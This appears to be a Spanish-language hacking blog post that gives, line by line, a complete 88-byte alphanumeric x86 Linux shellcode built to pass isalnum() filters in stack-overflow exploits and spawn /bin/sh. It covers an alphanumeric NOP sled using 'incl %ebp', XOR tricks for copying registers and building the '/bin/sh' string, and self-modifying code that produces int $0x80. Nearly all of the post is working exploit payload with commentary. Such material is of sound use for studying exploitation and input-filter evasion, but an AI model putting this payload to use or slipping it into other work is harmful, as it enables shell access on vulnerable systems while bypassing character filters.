/* Variable definitions ==================== */ /* Use this with templates/template-twocol.html */ -->

Chat-Kasper MH

Shellcode alfanumerica

Posted by kasp3r11 9:41, under |

Hay algunas veces que necesitamos una scode que solo contenga valores
alfanumericos una vez 'printeada', es decir solamente letras (mayusculas,
minisculas, y numeros). Un caso muy tipico podria ser un programa 'xplotable'
donde no tuvieramos sitio para poner la scode, a excepcion de una funcion
donde tenemos sitio pero que hace chequeo de valores alfanumeros por medio de
la funcion isalnum().
La solucion obvia pasa por tener un codigo que ejecute una shell (o cualquier
otra cosa de la que saquemos provecho), y que sea capaz de pasar por un
chequeo de isalnum(). En este caso particular veremos una sc que ejecuta un
execve() de /bin/sh, pero se pueden hacer mas cosas.
Para conseguir un codigo que no tenga ningun opcode (opcode es el valor en
hexadecimal de cada intruccion en asm) no printeable, tendremos que recurrir
a ciertas artimañanas.. Para empezar la mayoria de instrucciones como xorl
%eax,%eax, movl %eax,%edx no se podran usar, asi que hay que usar
otras. Bueno, lo mejor sera que pegue la scode y vaya comentandola brevemente
linea por linea :).
Tengo que decir que el metodo de los nops alfanumericos lo ha desarrollado
Fatuo (Fuego Fatuo - leonardo@hispasecurity.com), aparte de alguna que otra
scode alfanumerica tambien.
Dicho metodo consiste en sobreescribir %ebp con la direccion de retorno
(normalmente casi siempre se sobreescribe en los stack overflow normales), y
luego en vez de poner nops poner 'incl %ebp' -> caracter 'E'. De esta forma
se calcula la direccion de retorno exacta donde terminan los 'nops' y empieza
la shellcode. Dicha direccion hay que saberla exacta por el tema de
automodificacion de codigo que se vera mas adelante. Tambien hay otro metodo
un poco mas burro con el cual no hace falta sobreescribir %ebp, pero tiene
ciertas limitaciones como el numero de nops a poner y el tamaño. Yo tenia
desarrollada una sc con ese metodo que admitia 200 nops y tenia un tamaño de
392 bytes creo q eran.. pero hay que reconocer que mola mas este metodo asi
que hice una scode optimizada y se kedo en 88 bytes :).
Para copiar un registro a otro, al no poder usar mov's, tendremos que
hacerlo con xor's. La teoria es que si tenemos 2 valores, pongamos A y B,
haciendo lo siguiente quedaria tal que asi:
A xor B = C    (C es el resultado)
C xor A = B
C xor B = A
Veamoslo con numeros:
5 xor 2 = 7
7 xor 5 = 2
7 xor 2 = 5
Por lo tanto, si queremos copiar %eax a %edi, usaremos una memoria intermedia
que sepamos que no contiene codigo de la scode, de la siguiente forma:
xorl 0x60(%ebp) , %eax 
xorl %eax , 0x60(%ebp)   -> aqui hemos copiado %eax a la dire 0x60(%ebp)
xorl %edi , 0x60(%ebp)
xorl 0x60(%ebp) , %edi   -> ya tenemos %eax en %edi

Bueno, y ahora ya empecemos con la scode :)..

+ <dec   %esp>
. Decrementa en 1 unidad %esp.
+ <dec   %esp>
. Idem.
+ <dec   %esp>
. Idem.
+ <dec   %esp>
. Idem XD. Restamos 4 a %esp en total.
+ <popl  %eax>
. Salvamos la direccion de retorno de la funcion anterior en %eax.
+ <xorl  0x58(%ebp),%eax>
. Vamos a utilizar una direccion intermedia para copiar %eax a %esp.
+ <xorl  %eax,0x58(%ebp)>
. Ya tenemos %eax en la dire %ebp+0x58.
+ <xorl  %esp,0x58(%ebp)>
. Primer paso para copiar el contenido de %ebp+58 a %esp.
+ <xorl  0x58(%ebp),%esp>
. Ya tenemos copiado %ebp+0x58 (%eax) en %esp. Esto se hace para que no
sobreescribamos la propia shellcode cuando mas tarde hagamos unos cuantos
push's. De esta forma los push's siempre iran 'por encima' de la scode y no
habra peligro de sobreescribir nada importante.
+ <push  $0x45>
. Guardamos el valor 0x00000045 en la pila.
+ <popl  %eax>
. Ponemos %eax a 0x00000045
+ <xorb  $0x45,%al>
. Ponemos %eax a cero (0x00000000)
+ <pushl %eax>
. Ponemos un long null en la pila
+ <push  $0x68736538>
. Guardamos lo q sera parte del string '/bin/sh'
+ <popl  %eax>
. Recuperamos en %eax lo q sera parte del string '/bin/sh'
+ <xorw  $0x4a56,%ax>
. Modificamos el contenido de %ax para conseguir el string
+ <pushl %eax>
. Lo colocamos en la pila (recordemos que detras hay un long null)
+ <pushl $0x69626565>
. Segunda parte de lo que sera el string '/bin/sh'
+ <popl  %eax>
. Lo recuperamos en %eax (idem que antes)
+ <xorw  $0x4a4a,%ax>
. Lo modificamos con un xor (idem de idem)
+ <pushl %eax>
. Lo ponemos en la pila. Ahora tenemos en memoria //bin/sh0x00000000
+ <push  %esp>
. Salvamos la direccion del string
+ <popl  %ecx>
. Recuperamos la direccion del string en %ecx
+ <push  $0x59>
. Primera parte del procedimiento para poner %eax a cero
+ <popl  %eax>
. Guardamos 0x00000059 en %eax
+ <xorb  $0x59,%al>
. %eax = long null
+ <push  %eax>
. Ponemos un long null en la pila
+ <push  %ecx>
. Ponemos la dire del string en la pila
+ <push  %esp>
. Ponemos la dire del array (dire_string,null) en la pila (*argv[])
+ <push  %eax>
. Guardamos un long null en la pila
+ <push  %ebp>
. Guardamos la direccion del principio de la shellcode en la pila. Recordemos
que %ebp teoricamente contiene la dire exacta de la shellcode, ya que
sobreescribimos %ebp con la dire de retorno en el xploit, y fuimos
incrementandolo con los nops.
+ <popl  %eax>
. Recupera la direccion de la shellcode en %eax.
+ <xorl  0x58(%eax),%ecx>
. Procedimiento para mover %ecx a %ebx usando una direccion intermedia, %ecx
contiene la direccion del string '/bin/sh'.
+ <xorl  %ecx,0x58(%eax)>
. Con esto coloca %ecx en la direccion %eax+0x58 (direccion que no contiene
codigo de la scode, por lo tanto no nos importa lo que sobreescribamos).
+ <xorl  %ebx,0x58(%eax)>
. Procedimiento igual pero ahora con %ebx.
+ <xorl  0x58(%eax),%ebx>
. Copiamos el contenido de la dire %eax+0x58 a %ebx. Es decir, ya tenemos
%ecx en %ebx (la dire del string).
+ <popl  %edx>
. Recupera un long null en %edx que habiamos guardao hace mil años XD.
+ <popl  %ecx>
. Recupera la direccion del array *argv[] en %ecx que tambien habiamos
guardao hace mil años.
+ <dec   %edx>
. Decremante %edx, ahora vale 0xffffffff
+ <xorw  %dx,0x56(%ebp)>
. Procedimiento de automodificacion de codigo. Con esto conseguiremos cambiar
el byte 0x32 que esta mas abajo en memoria (dire %ebp+0x56 para ser
exactos) por 0xcd (primer byte de int $0x80). Y dejamos preparado el byte
0x47 para convertirlo con un segundo xor en 0x80.
+ <inc   %edx>
. Volvemos a poner %edx a cero.
+ <push  $0x38>
. Ponemos el byte 0x38 en la pila.
+ <popl  %eax>
. %eax = 0x00000038
+ <xorb  %al,0x57(%ebp)>
. Convertimos el byte que antes era 0x47 a 0x80, con lo que cuando se
ejecuten esos 2 bytes se ejecutara int $0x80. Hemos convertido los bytes 0x32
y 0x47 en 0xcd y 0x80 (opcodes de int $0x80).
+ <xorb  $0x33,%al>
. Ponemos %al a 0x0b (0x38 xor 0x33 = 0xb).
+ <.byte 0x32>
. Byte que sera/ha sido convertido a 0xcd
+ <.byte 0x47>
. Byte que sera/ha sido convertido a 0x80.

Y ya esta, a que no ha sido tan dificil? :). Con esto conseguimos una
shellcode alfanumerica totalmente funcional y que permite nops infinitos,
con un tamaño de 88 bytes.